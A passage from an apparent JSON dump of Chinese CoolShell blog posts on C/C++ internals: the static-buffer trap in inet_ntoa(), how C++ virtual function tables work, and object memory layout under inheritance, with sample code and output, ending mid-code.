\n\n对于IPV4来说，一个IP地址由四个8位的bit组成，其放在s\\_addr中，高位在后，这是为了方便网络传输。如果你得到的一个s\\_addr的整型值是：3776385196。那么，打开你的Windows计算器吧，看看它的二进制是什么？让我们从右到左，8位为一组（如下所示）。\n\n\n11100001   00010111    00010000    10101100\n\n\n再把每一组转成十进制，于是我们就得到：225   23   16   172， 于是IP地址就是 172.16.23.225。\n\n\n好了，言归正传。我们有这样一个程序，想记录网络包的源地址和目地地址，于是，我们有如下的代码：\n\n\n\n\n```\nstruct in_addr src, des;\n........\n........\nfprintf(fp, \"源IP地址<%s>/t目的IP地址<%s>/n\", inet_ntoa(src),   inet_ntoa(des));\n```\n\n\n\n\n会发生什么样的结果呢？你会发现记录到文件中的源IP地址和目的IP地址完全一样。这是什么问题呢？于是你开始调试你的程序，你发现src.s\\_addr和des.s\\_addr根本不一样（如下所示）。可为什么输出到文件的源和目的都是一样的？难道说是inet\\_ntoa的bug？\n\n\n\n```\nsrc.s_addr = 3776385196;    //对应于172.16.23.225\ndes.s_addr = 1678184620;  //对应于172.16.7.100\n```\n\n原因就是inet\\_ntoa()“自作聪明”地把内部的static char[]返回了，而我们的程序正是踩中了这个陷阱。让我们来分析一下fprintf代码。在我们fprintf时，编译器先计算inet\\_ntoa(des)，于是其返回一个字符串的地址，然后程序再去求inet\\_ntoa(src)表达式，又得到一个字符串的地址。这两个字符串的地址都是inet\\_ntoa()中那个static char[]，显然是同一个地址，而第二次求src的IP时，这个值的des的IP地址内容必将被src的IP覆盖。所以，这两个表达式的字符串内存都是一样的了，此时，程序会调用fprintf把这两个字符串（其实是一个）输出到文件。所以，得到相同的结果也就不奇怪。\n\n\n仔细看一下inet\\_ntoa的man，我们可以看到这句话：**The string is returned in a statically allocated buffer,  which  subsequent calls will overwrite.** 证实了我们的分析。\n\n\n#### **小结**\n\n\n让我们大家都扪心自问一下，我们在写程序的过程当中是否使用了这种方法？这是一个比较危险，容易出错的方法。这种陷阱让人防不胜防。想想，如果你有这样的程序：\n\n\nif ( strcmp( inet\\_ntoa(ip1), inet\\_ntoa(ip2) )==0 ) {  \n\n…. ….  \n\n}\n\n\n本想判断一下两个IP地址是否一样，却不料掉入了那个陷阱——让这个条件表达式永真。\n\n\n这个事情告诉我们下面几个道理：\n\n\n1）慎用这种方式的设计。返回函数内部的static内存有很大的陷阱。  \n\n2）如果一定要使用这种方式的话。你就必须严肃地告诉所有使用这个函数的人，千万不要在一个表达式中多次使用这个函数。而且，还要告诉他们，不copy函数返回的内存的内容，而只是保存返回的内存地址或是引用是没用的。不然的话，后果概不负责。  \n\n3）C/C++是很危险的世界，如果你不清楚他的话。还是回火星去吧。\n\n\n附：看过Efftive C++的朋友一定知道其中有一个条款（item 23）：不要试图返回对象的引用。这个条款中也对是否返回函数内部的static变量进行了讨论。结果也是持否定态度的。\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C/C++返回内部静态成员的陷阱](https://coolshell.cn/articles/12192.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2007-12-18 C++ 虚函数表解析.md",
    "content": "---\nlayout: post\ntitle: C++ 虚函数表解析\ndate: 2007/12/18/ 1:8:2\nupdated: 2007/12/18/ 1:8:2\nstatus: publish\npublished: true\ntype: post\n---\n\nC++中的虚函数的作用主要是实现了多态的机制。关于多态，简而言之就是用父类型别的指针指向其子类的实例，然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”，这是一种泛型技术。所谓泛型技术，说白了就是试图使用不变的代码来实现可变的算法。比如：模板技术，RTTI技术，虚函数技术，要么是试图做到在编译时决议，要么试图做到运行时决议。\n\n\n关于虚函数的使用方法，我在这里不做过多的阐述。大家可以看看相关的C++的书籍。在这篇文章中，我只想从虚函数的实现机制上面为大家 一个清晰的剖析。\n\n\n当然，相同的文章在网上也出现过一些了，但我总感觉这些文章不是很容易阅读，大段大段的代码，没有图片，没有详细的说明，没有比较，没有举一反三。不利于学习和阅读，所以这是我想写下这篇文章的原因。也希望大家多给我提意见。\n\n\n言归正传，让我们一起进入虚函数的世界。\n\n\n#### 虚函数表\n\n\n对C++ 了解的人都应该知道虚函数（Virtual Function）是通过一张虚函数表（Virtual Table）来实现的。简称为V-Table。在这个表中，主是要一个类的虚函数的地址表，这张表解决了继承、覆盖的问题，保证其容真实反应实际的函数。这样，在有虚函数的类的实例中这个表被分配在了这个实例的内存中，所以，当我们用父类的指针来操作一个子类的时候，这张虚函数表就显得由为重要了，它就像一个地图一样，指明了实际所应该调用的函数。\n\n\n这里我们着重看一下这张虚函数表。C++的编译器应该是保证虚函数表的指针存在于对象实例中最前面的位置（这是为了保证取到虚函数表的有最高的性能——如果有多层继承或是多重继承的情况下）。 这意味着我们通过对象实例的地址得到这张虚函数表，然后就可以遍历其中函数指针，并调用相应的函数。\n\n\n听我扯了那么多，我可以感觉出来你现在可能比以前更加晕头转向了。 没关系，下面就是实际的例子，相信聪明的你一看就明白了。\n\n\n\n假设我们有这样的一个类：\n\n\n\n```\nclass Base {\n     public:\n            virtual void f() { cout << \"Base::f\" << endl; }\n            virtual void g() { cout << \"Base::g\" << endl; }\n            virtual void h() { cout << \"Base::h\" << endl; }\n\n};\n```\n\n按照上面的说法，我们可以通过Base的实例来得到虚函数表。 下面是实际例程：\n\n\n\n```\ntypedef void(*Fun)(void);\n\nBase b;\n\nFun pFun = NULL;\n\ncout << \"虚函数表地址：\" << (int*)(&b) << endl;\ncout << \"虚函数表 — 第一个函数地址：\" << (int*)*(int*)(&b) << endl;\n\n// Invoke the first virtual function\npFun = (Fun)*((int*)*(int*)(&b));\npFun();\n```\n\n实际运行经果如下：(Windows XP+VS2003, Linux 2.6.22 + GCC 4.1.3)\n\n\n虚函数表地址：0012FED4  \n\n虚函数表 — 第一个函数地址：0044F148  \n\nBase::f\n\n\n通过这个示例，我们可以看到，我们可以通过强行把&b转成int \\*，取得虚函数表的地址，然后，再次取址就可以得到第一个虚函数的地址了，也就是Base::f()，这在上面的程序中得到了验证（把int\\* 强制转成了函数指针）。通过这个示例，我们就可以知道如果要调用Base::g()和Base::h()，其代码如下：\n\n\n\n```\n(Fun)*((int*)*(int*)(&b)+0);  // Base::f()\n(Fun)*((int*)*(int*)(&b)+1);  // Base::g()\n(Fun)*((int*)*(int*)(&b)+2);  // Base::h()\n```\n\n这个时候你应该懂了吧。什么？还是有点晕。也是，这样的代码看着太乱了。没问题，让我画个图解释一下。如下所示：\n\n\n![01](../wp-content/uploads/2014/12/01.jpg)\n\n\n注意：在上面这个图中，我在虚函数表的最后多加了一个结点，这是虚函数表的结束结点，就像字符串的结束符“/0”一样，其标志了虚函数表的结束。这个结束标志的值在不同的编译器下是不同的。在WinXP+VS2003下，这个值是NULL。而在Ubuntu 7.10 + Linux 2.6.22 + GCC 4.1.3下，这个值是如果1，表示还有下一个虚函数表，如果值是0，表示是最后一个虚函数表。\n\n\n下面，我将分别说明“无覆盖”和“有覆盖”时的虚函数表的样子。没有覆盖父类的虚函数是毫无意义的。我之所以要讲述没有覆盖的情况，主要目的是为了给一个对比。在比较之下，我们可以更加清楚地知道其内部的具体实现。\n\n\n#### 一般继承（无虚函数覆盖）\n\n\n下面，再让我们来看看继承时的虚函数表是什么样的。假设有如下所示的一个继承关系：\n\n\n![02](../wp-content/uploads/2014/12/02.jpg)\n\n\n请注意，在这个继承关系中，子类没有重载任何父类的函数。那么，在派生类的实例中，其虚函数表如下所示：\n\n\n对于实例：Derive d; 的虚函数表如下：\n\n\n![03](../wp-content/uploads/2014/12/03.jpg)\n\n\n我们可以看到下面几点：  \n\n1）虚函数按照其声明顺序放于表中。  \n\n2）父类的虚函数在子类的虚函数前面。\n\n\n我相信聪明的你一定可以参考前面的那个程序，来编写一段程序来验证。\n\n\n#### 一般继承（有虚函数覆盖）\n\n\n覆盖父类的虚函数是很显然的事情，不然，虚函数就变得毫无意义。下面，我们来看一下，如果子类中有虚函数重载了父类的虚函数，会是一个什么样子？假设，我们有下面这样的一个继承关系。\n\n\n![04](../wp-content/uploads/2014/12/04.jpg)\n\n\n为了让大家看到被继承过后的效果，在这个类的设计中，我只覆盖了父类的一个函数：f()。那么，对于派生类的实例，其虚函数表会是下面的一个样子：\n\n\n![05](../wp-content/uploads/2014/12/05.jpg)\n\n\n我们从表中可以看到下面几点，  \n\n1）覆盖的f()函数被放到了虚表中原来父类虚函数的位置。  \n\n2）没有被覆盖的函数依旧。\n\n\n这样，我们就可以看到对于下面这样的程序，\n\n\n\n```\nBase *b = new Derive();\n\nb->f();\n```\n\n由b所指的内存中的虚函数表的f()的位置已经被Derive::f()函数地址所取代，于是在实际调用发生时，是Derive::f()被调用了。这就实现了多态。\n\n\n#### 多重继承（无虚函数覆盖）\n\n\n下面，再让我们来看看多重继承中的情况，假设有下面这样一个类的继承关系。注意：子类并没有覆盖父类的函数。\n\n\n![06](../wp-content/uploads/2014/12/06.jpg)\n\n\n对于子类实例中的虚函数表，是下面这个样子：\n\n\n![07](../wp-content/uploads/2014/12/07.jpg)\n\n\n我们可以看到：  \n\n1） 每个父类都有自己的虚表。  \n\n2） 子类的成员函数被放到了第一个父类的表中。（所谓的第一个父类是按照声明顺序来判断的）\n\n\n这样做就是为了解决不同的父类类型的指针指向同一个子类实例，而能够调用到实际的函数。\n\n\n#### 多重继承（有虚函数覆盖）\n\n\n下面我们再来看看，如果发生虚函数覆盖的情况。\n\n\n![08](../wp-content/uploads/2014/12/08.jpg)\n\n\n下图中，我们在子类中覆盖了父类的f()函数。\n\n\n![09](../wp-content/uploads/2014/12/09.jpg)\n\n\n下面是对于子类实例中的虚函数表的图：\n\n\n我们可以看见，三个父类虚函数表中的f()的位置被替换成了子类的函数指针。这样，我们就可以任一静态类型的父类来指向子类，并调用子类的f()了。如：\n\n\n\n```\nDerive d;\nBase1 *b1 = &d;\nBase2 *b2 = &d;\nBase3 *b3 = &d;\nb1->f(); //Derive::f()\nb2->f(); //Derive::f()\nb3->f(); //Derive::f()\n\nb1->g(); //Base1::g()\nb2->g(); //Base2::g()\nb3->g(); //Base3::g()\n```\n\n#### 安全性\n\n\n每次写C++的文章，总免不了要批判一下C++。这篇文章也不例外。通过上面的讲述，相信我们对虚函数表有一个比较细致的了解了。水可载舟，亦可覆舟。下面，让我们来看看我们可以用虚函数表来干点什么坏事吧。\n\n\n##### 一、通过父类型的指针访问子类自己的虚函数\n\n\n我们知道，子类没有重载父类的虚函数是一件毫无意义的事情。因为多态也是要基于函数重载的。虽然在上面的图中我们可以看到Base1的虚表中有Derive的虚函数，但我们根本不可能使用下面的语句来调用子类的自有虚函数：\n\n\n\n```\nBase1 *b1 = new Derive();\nb1->f1();  //编译出错\n```\n\n任何妄图使用父类指针想调用子类中的**未覆盖父类的成员函数**的行为都会被编译器视为非法，所以，这样的程序根本无法编译通过。但在运行时，我们可以通过指针的方式访问虚函数表来达到违反C++语义的行为。（关于这方面的尝试，通过阅读后面附录的代码，相信你可以做到这一点）\n\n\n##### 二、访问non-public的虚函数\n\n\n另外，如果父类的虚函数是private或是protected的，但这些非public的虚函数同样会存在于虚函数表中，所以，我们同样可以使用访问虚函数表的方式来访问这些non-public的虚函数，这是很容易做到的。\n\n\n如：\n\n\n\n```\nclass Base {\n    private:\n            virtual void f() { cout << \"Base::f\" << endl; }\n\n};\n\nclass Derive : public Base{\n\n};\n\ntypedef void(*Fun)(void);\n\nvoid main() {\n    Derive d;\n    Fun  pFun = (Fun)*((int*)*(int*)(&d)+0);\n    pFun();\n}\n```\n\n#### 结束语\n\n\nC++这门语言是一门Magic的语言，对于程序员来说，我们似乎永远摸不清楚这门语言背着我们在干了什么。需要熟悉这门语言，我们就必需要了解C++里面的那些东西，需要去了解C++中那些危险的东西。不然，这是一种搬起石头砸自己脚的编程语言。\n\n\n##### 附录一：VC中查看虚函数表\n\n\n我们可以在VC的IDE环境中的Debug状态下展开类的实例就可以看到虚函数表了（并不是很完整的）\n\n\n##### 附录 二：例程\n\n\n下面是一个关于多重继承的虚函数表访问的例程：\n\n\n\n```\n#include <iostream>\nusing namespace std;\n\nclass Base1 {\npublic:\n            virtual void f() { cout << \"Base1::f\" << endl; }\n            virtual void g() { cout << \"Base1::g\" << endl; }\n            virtual void h() { cout << \"Base1::h\" << endl; }\n\n};\n\nclass Base2 {\npublic:\n            virtual void f() { cout << \"Base2::f\" << endl; }\n            virtual void g() { cout << \"Base2::g\" << endl; }\n            virtual void h() { cout << \"Base2::h\" << endl; }\n};\n\nclass Base3 {\npublic:\n            virtual void f() { cout << \"Base3::f\" << endl; }\n            virtual void g() { cout << \"Base3::g\" << endl; }\n            virtual void h() { cout << \"Base3::h\" << endl; }\n};\n\nclass Derive : public Base1, public Base2, public Base3 {\npublic:\n            virtual void f() { cout << \"Derive::f\" << endl; }\n            virtual void g1() { cout << \"Derive::g1\" << endl; }\n};\n\ntypedef void(*Fun)(void);\n\nint main()\n{\n            Fun pFun = NULL;\n\n            Derive d;\n            int** pVtab = (int**)&d;\n\n            //Base1's vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&d+0)+0);\n            pFun = (Fun)pVtab[0][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&d+0)+1);\n            pFun = (Fun)pVtab[0][1];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&d+0)+2);\n            pFun = (Fun)pVtab[0][2];\n            pFun();\n\n            //Derive's vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&d+0)+3);\n            pFun = (Fun)pVtab[0][3];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[0][4];\n            cout<<pFun<<endl;\n\n            //Base2's vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&d+1)+0);\n            pFun = (Fun)pVtab[1][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&d+1)+1);\n            pFun = (Fun)pVtab[1][1];\n            pFun();\n\n            pFun = (Fun)pVtab[1][2];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[1][3];\n            cout<<pFun<<endl;\n\n            //Base3's vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&d+1)+0);\n            pFun = (Fun)pVtab[2][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&d+1)+1);\n            pFun = (Fun)pVtab[2][1];\n            pFun();\n\n            pFun = (Fun)pVtab[2][2];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[2][3];\n            cout<<pFun<<endl;\n\n            return 0;\n}\n```\n\n**注：本文年代久远，所有的示例都是在32位机上跑的。**\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C++ 虚函数表解析](https://coolshell.cn/articles/12165.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2008-10-15 C++ 对象的内存布局.md",
    "content": "---\nlayout: post\ntitle: C++ 对象的内存布局\ndate: 2008/10/15/ 1:32:16\nupdated: 2008/10/15/ 1:32:16\nstatus: publish\npublished: true\ntype: post\n---\n\n07年12月，我写了一篇《[C++虚函数表解析](https://coolshell.cn/articles/12165.html \"C++ 虚函数表解析\")》的文章，引起了大家的兴趣。有很多朋友对我的文章留了言，有鼓励我的，有批评我的，还有很多问问题的。我在这里一并对大家的留言表示感谢。这也是我为什么再写一篇续言的原因。因为，在上一篇文章中，我用了的示例都是非常简单的，主要是为了说明一些机理上的问题，也是为了图一些表达上方便和简单。不想，这篇文章成为了打开C++对象模型内存布局的一个引子，引发了大家对C++对象的更深层次的讨论。当然，我之前的文章还有很多方面没有涉及，从我个人感觉下来，在谈论虚函数表里，至少有以下这些内容没有涉及：\n\n\n1）有成员变量的情况。\n\n\n2）有重复继承的情况。\n\n\n3）有虚拟继承的情况。\n\n\n4）有钻石型虚拟继承的情况。\n\n\n 这些都是我本篇文章需要向大家说明的东西。所以，这篇文章将会是《[C++虚函数表解析](https://coolshell.cn/articles/12165.html)》的一个续篇，也是一篇高级进阶的文章。我希望大家在读这篇文章之前对C++有一定的基础和了解，并能先读我的上一篇文章。因为这篇文章的深度可能会比较深，而且会比较杂乱，我希望你在读本篇文章时不会有大脑思维紊乱导致大脑死机的情况。;-)\n\n\n#### 对象的影响因素\n\n\n简而言之，我们一个类可能会有如下的影响因素：\n\n\n1）成员变量\n\n\n2）虚函数（产生虚函数表）\n\n\n3）单一继承（只继承于一个类）\n\n\n4）多重继承（继承多个类）\n\n\n5）重复继承（继承的多个父类中其父类有相同的超类）\n\n\n6）虚拟继承（使用virtual方式继承，为了保证继承后父类的内存布局只会存在一份）\n\n\n上述的东西通常是C++这门语言在语义方面对对象内部的影响因素，当然，还会有编译器的影响（比如优化），还有字节对齐的影响。在这里我们都不讨论，我们只讨论C++语言上的影响。\n\n\n本篇文章着重讨论下述几个情况下的C++对象的内存布局情况。\n\n\n\n1）**单一的一般继承**（带成员变量、虚函数、虚函数覆盖）\n\n\n2）**单一的虚拟继承**（带成员变量、虚函数、虚函数覆盖）\n\n\n3）**多重继承**（带成员变量、虚函数、虚函数覆盖）\n\n\n4）**重复多重继承**（带成员变量、虚函数、虚函数覆盖）\n\n\n5）**钻石型的虚拟多重继承**（带成员变量、虚函数、虚函数覆盖）\n\n\n我们的目标就是，让事情越来越复杂。\n\n\n#### 知识复习\n\n\n我们简单地复习一下，我们可以通过对象的地址来取得虚函数表的地址，如：\n\n\n\n```\ntypedef void(*Fun)(void);\n\nBase b;\n\nFun pFun = NULL;\n\ncout << \"虚函数表地址：\" << (int*)(&b) << endl;\ncout << \"虚函数表 — 第一个函数地址：\" << (int*)*(int*)(&b) << endl;\n\n// Invoke the first virtual function\npFun = (Fun)*((int*)*(int*)(&b));\npFun();\n```\n\n我们同样可以用这种方式来取得整个对象实例的内存布局。因为这些东西在内存中都是连续分布的，我们只需要使用适当的地址偏移量，我们就可以获得整个内存对象的布局。\n\n\n本篇文章中的例程或内存布局主要使用如下编译器和系统：\n\n\n**1）Windows XP 和 VC++ 2003**  \n\n **2）Cygwin 和 G++ 3.4.4**\n\n\n#### 单一的一般继承\n\n\n下面，我们假设有如下所示的一个继承关系：\n\n\n![01](../wp-content/uploads/2014/12/011.jpg)\n\n\n请注意，在这个继承关系中，父类，子类，孙子类都有自己的一个成员变量。而了类覆盖了父类的f()方法，孙子类覆盖了子类的g\\_child()及其超类的f()。\n\n\n我们的源程序如下所示：\n\n\n\n```\nclass Parent {\npublic:\n    int iparent;\n    Parent ():iparent (10) {}\n    virtual void f() { cout << \" Parent::f()\" << endl; }\n    virtual void g() { cout << \" Parent::g()\" << endl; }\n    virtual void h() { cout << \" Parent::h()\" << endl; }\n\n};\n\nclass Child : public Parent {\npublic:\n    int ichild;\n    Child():ichild(100) {}\n    virtual void f() { cout << \"Child::f()\" << endl; }\n    virtual void g_child() { cout << \"Child::g_child()\" << endl; }\n    virtual void h_child() { cout << \"Child::h_child()\" << endl; }\n};\n\nclass GrandChild : public Child{\npublic:\n    int igrandchild;\n    GrandChild():igrandchild(1000) {}\n    virtual void f() { cout << \"GrandChild::f()\" << endl; }\n    virtual void g_child() { cout << \"GrandChild::g_child()\" << endl; }\n    virtual void h_grandchild() { cout << \"GrandChild::h_grandchild()\" << endl; }\n};\n```\n\n我们使用以下程序作为测试程序：（下面程序中，我使用了一个int\\*\\* pVtab 来作为遍历对象内存布局的指针，这样，我就可以方便地像使用数组一样来遍历所有的成员包括其虚函数表了，在后面的程序中，我也是用这样的方法的，请不必感到奇怪，）\n\n\n\n```\ntypedef void(*Fun)(void);\n\nGrandChild gc;\n\nint** pVtab = (int**)&gc;\n\ncout << \"[0] GrandChild::_vptr->\" << endl;\nfor (int i=0; (Fun)pVtab[0][i]!=NULL; i++){\n    pFun = (Fun)pVtab[0][i];\n    cout << \"    [\"<<i<<\"] \";\n    pFun();\n}\ncout << \"[1] Parent.iparent = \" << (int)pVtab[1] << endl;\ncout << \"[2] Child.ichild = \" << (int)pVtab[2] << endl;\ncout << \"[3] GrandChild.igrandchild = \" << (int)pVtab[3] << endl;\n```\n\n其运行结果如下所示：（在VC++ 2003和G++ 3.4.4下）\n\n\n\n```\n[0] GrandChild::_vptr->\n<pre>    [0] GrandChild::f()\n    [1] Parent::g()\n    [2] Parent::h()\n    [3] GrandChild::g_child()\n    [4] Child::h1()\n    [5] GrandChild::h_grandchild()\n[1] Parent.iparent = 10\n[2] Child.ichild = 100\n[3] GrandChild.igrandchild = 1000\n```\n\n使用图片表示如下：\n\n\n![02](../wp-content/uploads/2014/12/021.jpg)\n\n\n可见以下几个方面：\n\n\n1）虚函数表在最前面的位置。\n\n\n2）成员变量根据其继承和声明顺序依次放在后面。\n\n\n3）在单一的继承中，被overwrite的虚函数在虚函数表中得到了更新。\n\n\n#### 多重继承\n\n\n下面，再让我们来看看多重继承中的情况，假设有下面这样一个类的继承关系。注意：子类只overwrite了父类的f()函数，而还有一个是自己的函数（我们这样做的目的是为了用g1()作为一个标记来标明子类的虚函数表）。而且每个类中都有一个自己的成员变量：\n\n\n![03](../wp-content/uploads/2014/12/031.jpg)\n\n\n我们的类继承的源代码如下所示：父类的成员初始为10，20，30，子类的为100\n\n\n\n```\nclass Base1 {\npublic:\n    int ibase1;\n    Base1():ibase1(10) {}\n    virtual void f() { cout << \"Base1::f()\" << endl; }\n    virtual void g() { cout << \"Base1::g()\" << endl; }\n    virtual void h() { cout << \"Base1::h()\" << endl; }\n\n};\n\nclass Base2 {\npublic:\n    int ibase2;\n    Base2():ibase2(20) {}\n    virtual void f() { cout << \"Base2::f()\" << endl; }\n    virtual void g() { cout << \"Base2::g()\" << endl; }\n    virtual void h() { cout << \"Base2::h()\" << endl; }\n};\n\nclass Base3 {\npublic:\n    int ibase3;\n    Base3():ibase3(30) {}\n    virtual void f() { cout << \"Base3::f()\" << endl; }\n    virtual void g() { cout << \"Base3::g()\" << endl; }\n    virtual void h() { cout << \"Base3::h()\" << endl; }\n};\n\nclass Derive : public Base1, public Base2, public Base3 {\npublic:\n    int iderive;\n    Derive():iderive(100) {}\n    virtual void f() { cout << \"Derive::f()\" << endl; }\n    virtual void g1() { cout << \"Derive::g1()\" << endl; }\n};\n```\n\n我们通过下面的程序来查看子类实例的内存布局：下面程序中，注意我使用了一个s变量，其中用到了sizof(Base)来找下一个类的偏移量。（因为我声明的是int成员，所以是4个字节，所以没有对齐问题。关于内存的对齐问题，大家可以自行试验，我在这里就不多说了）\n\n\n\n```\ntypedef void(*Fun)(void);\n\nDerive d;\n\nint** pVtab = (int**)&d;\n\ncout << \"[0] Base1::_vptr->\" << endl;\npFun = (Fun)pVtab[0][0];\ncout << \"     [0] \";\npFun();\n\npFun = (Fun)pVtab[0][1];\ncout << \"     [1] \";pFun();\n\npFun = (Fun)pVtab[0][2];\ncout << \"     [2] \";pFun();\n\npFun = (Fun)pVtab[0][3];\ncout << \"     [3] \"; pFun();\n\npFun = (Fun)pVtab[0][4];\ncout << \"     [4] \"; cout<<pFun<<endl;\n\ncout << \"[1] Base1.ibase1 = \" << (int)pVtab[1] << endl;\n\nint s = sizeof(Base1)/4;\n\ncout << \"[\" << s << \"] Base2::_vptr->\"<<endl;\npFun = (Fun)pVtab[s][0];\ncout << \"     [0] \"; pFun();\n\nFun = (Fun)pVtab[s][1];\ncout << \"     [1] \"; pFun();\n\npFun = (Fun)pVtab[s][2];\ncout << \"     [2] \"; pFun();\n\npFun = (Fun)pVtab[s][3];\nout << \"     [3] \";\ncout<<pFun<<endl;\n\ncout << \"[\"<< s+1 <<\"] Base2.ibase2 = \" << (int)pVtab[s+1] << endl;\n\ns = s + sizeof(Base2)/4;\n\ncout << \"[\" << s << \"] Base3::_vptr->\"<<endl;\npFun = (Fun)pVtab[s][0];\ncout << \"     [0] \"; pFun();\n\npFun = (Fun)pVtab[s][1];\ncout << \"     [1] \"; pFun();\n\npFun = (Fun)pVtab[s][2];\ncout << \"     [2] \"; pFun();\n\npFun = (Fun)pVtab[s][3];\ncout << \"     [3] \";\ncout<<pFun<<endl;\n\ns++;\ncout << \"[\"<< s <<\"] Base3.ibase3 = \" << (int)pVtab[s] << endl;\ns++;\ncout << \"[\"<< s <<\"] Derive.iderive = \" << (int)pVtab[s] << endl;\n```\n\n其运行结果如下所示：（在VC++ 2003和G++ 3.4.4下）\n\n\n\n```\n[0] Base1::_vptr->\n     [0] Derive::f()\n     [1] Base1::g()\n     [2] Base1::h()\n     [3] Driver::g1()\n     [4] 00000000      <== 注意：在GCC下，这里是1\n[1] Base1.ibase1 = 10\n[2] Base2::_vptr->\n     [0] Derive::f()\n     [1] Base2::g()\n     [2] Base2::h()\n     [3] 00000000      <== 注意：在GCC下，这里是1\n[3] Base2.ibase2 = 20\n[4] Base3::_vptr->\n     [0] Derive::f()\n     [1] Base3::g()\n     [2] Base3::h()\n     [3] 00000000\n[5] Base3.ibase3 = 30\n[6] Derive.iderive = 100\n```\n\n使用图片表示是下面这个样子：\n\n\n![04](../wp-content/uploads/2014/12/041.jpg)\n\n\n我们可以看到：\n\n\n1）  每个父类都有自己的虚表。\n\n\n2）  子类的成员函数被放到了第一个父类的表中。\n\n\n3）  内存布局中，其父类布局依次按声明顺序排列。\n\n\n4）  每个父类的虚表中的f()函数都被overwrite成了子类的f()。这样做就是为了解决不同的父类类型的指针指向同一个子类实例，而能够调用到实际的函数。\n\n\n#### 重复继承\n\n\n下面我们再来看看，发生重复继承的情况。所谓重复继承，也就是某个基类被间接地重复继承了多次。\n\n\n下图是一个继承图，我们重载了父类的f()函数。\n\n\n![05](../wp-content/uploads/2014/12/051.jpg)\n\n\n其类继承的源代码如下所示。其中，每个类都有两个变量，一个是整形（4字节），一个是字符（1字节），而且还有自己的虚函数，自己overwrite父类的虚函数。如子类D中，f()覆盖了超类的函数， f1() 和f2() 覆盖了其父类的虚函数，Df()为自己的虚函数。\n\n\n\n```\nclass B\n{\n    public:\n        int ib;\n        char cb;\n    public:\n        B():ib(0),cb('B') {}\n\n        virtual void f() { cout << \"B::f()\" << endl;}\n        virtual void Bf() { cout << \"B::Bf()\" << endl;}\n};\nclass B1 :  public B\n{\n    public:\n        int ib1;\n        char cb1;\n    public:\n        B1():ib1(11),cb1('1') {}\n\n        virtual void f() { cout << \"B1::f()\" << endl;}\n        virtual void f1() { cout << \"B1::f1()\" << endl;}\n        virtual void Bf1() { cout << \"B1::Bf1()\" << endl;}\n\n};\nclass B2:  public B\n{\n    public:\n        int ib2;\n        char cb2;\n    public:\n        B2():ib2(12),cb2('2') {}\n\n        virtual void f() { cout << \"B2::f()\" << endl;}\n        virtual void f2() { cout << \"B2::f2()\" << endl;}\n        virtual void Bf2() { cout << \"B2::Bf2()\" << endl;}\n\n};\n\nclass D : public B1, public B2\n{\n    public:\n        int id;\n        char cd;\n    public:\n        D():id(100),cd('D') {}\n\n        virtual void f() { cout << \"D::f()\" << endl;}\n        virtual void f1() { cout << \"D::f1()\" << endl;}\n        virtual void f2() { cout << \"D::f2()\" << endl;}\n        virtual void Df() { cout << 